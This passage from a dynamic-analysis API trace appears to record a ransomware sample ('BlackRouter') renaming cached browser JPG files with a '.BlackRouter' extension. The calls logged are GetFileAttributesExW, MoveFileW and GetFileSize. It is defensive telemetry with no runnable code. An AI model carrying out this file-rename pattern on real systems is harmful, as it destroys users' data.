files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg.blackrouter")) returned 1 [0065.607] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3a2a [0065.612] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459ad690, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459ad690, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd9ebcb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3a30)) returned 1 [0065.612] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg.blackrouter")) returned 1 [0065.613] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2f76 [0065.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457e4610, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457e4610, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd9ebcb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2f80)) returned 1 [0065.620] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg.blackrouter")) returned 1 [0065.621] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x786 [0065.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4574c090, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4574c090, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcda11e10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x790)) returned 1 [0065.628] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg.blackrouter")) returned 1 [0065.630] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xa07 [0065.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcda37f70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa10)) returned 1 [0065.637] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg.blackrouter")) returned 1 [0065.639] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1998 [0065.642] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x454eaa90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x454eaa90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcda37f70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x19a0)) returned 1 [0065.642] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg.blackrouter")) returned 1 [0065.643] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1a65 [0065.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x454c4930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x454c4930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcda5e0d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a70)) returned 1 [0065.656] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg.blackrouter")) returned 1 [0065.657] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x5a45 [0065.672] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbde8add0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbde8add0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcda84230, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5a50)) returned 1 [0065.672] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg.blackrouter")) returned 1 [0065.673] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x388f [0065.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b2a450, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b2a450, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcdaaa390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3890)) returned 1 [0065.686] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg.blackrouter")) returned 1 [0065.687] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1e97 [0065.691] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45856a30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45856a30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcdaaa390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1ea0)) returned 1 [0065.691] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg.blackrouter")) returned 1 [0065.692] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x23bf [0065.708] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45856a30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45856a30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcdad04f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x23c0)) returned 1 [0065.709] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg.blackrouter")) returned 1 [0065.710] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x8df [0065.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4574c090, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4574c090, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcdaf6650, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8e0)) returned 1 [0065.714] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg.blackrouter")) returned 1 [0065.716] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2b8d [0065.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a45c10, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a45c10, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcdaf6650, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2b90)) returned 1 [0065.724] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg.blackrouter")) returned 1 [0065.725] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x201f [0065.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457721f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457721f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcdb1c7b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2020)) returned 1 [0065.733] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg.blackrouter")) returned 1 [0065.735] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x6e9 [0065.742] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe327870, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe327870, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcdb1c7b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6f0)) returned 1 [0065.743] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg.blackrouter")) returned 1 [0065.744] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3376 [0065.751] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5159c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5159c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcdb42910, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3380)) returned 1 [0065.751] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg.blackrouter")) returned 1 [0065.753] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x13c06 [0065.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60baae40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60baae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcdb68a70, 